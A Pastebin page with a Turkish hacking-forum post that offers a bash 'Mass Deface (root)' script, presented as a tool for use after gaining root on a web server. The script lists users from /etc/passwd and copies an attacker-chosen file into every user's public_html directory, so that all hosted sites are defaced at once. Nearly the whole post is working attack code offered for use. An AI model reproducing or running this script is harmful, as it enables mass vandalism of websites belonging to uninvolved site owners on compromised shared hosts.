Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Mass Deface (root) Bash Script
- Sitelerde Windows & Linux Server Root Olduktan Sonra Sunucuda Bulunan Tüm Siteleri Aynı Anda İndexleyebileceğiniz Basit Bash Dilinde Yazılmış Güzel Bir Script :cigara:
- [img]https://i.hizliresim.com/jWdWVW.png[/img]
- [hide][code]#!/bin/bash
- args=("$@")
- UHOME="/home"
- FILE=$(pwd)"/"${args[0]}
- priv=$([ $(id -u) == 0 ] && echo " hadi basliyalim..........." || echo " bu dosyayi calistirabilmeniz icin root olmanız gerekiyor :)")
- echo " ~~~~~ Mass Deface (root) ~~~~~ "
- echo " ~~ Coded by: KingSkrUPELLOS ~~ "
- echo " ~ Cyberizm.Org Digital Security Team ~ "
- echo "------ [ usage: ./mass file ] ------"
- echo ""
- echo $priv
- echo ""
- if [ -z "$1" ]
- then
- echo "usage: ./mass file"
- else
- # get list of all users
- _USERS="$(awk -F':' '{ if ( $3 >= 500 ) print $1 }' /etc/passwd)"
- for u in $_USERS
- do
- _dir="${UHOME}/${u}/public_html"
- if [ -d "$_dir" ] && [ $(id -u) == 0 ]
- then
- /bin/cp "$FILE" "$_dir"
- if [ -e "$_dir/"$(basename "$FILE") ]
- then
- echo "[+] Başarılı ->" "$_dir/"$(basename "$FILE")
- #chown $(id -un $u):$(id -gn $u) "$_dir/"$(basename "$FILE")
- fi
- fi
- done
- fi[/code][/hide]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement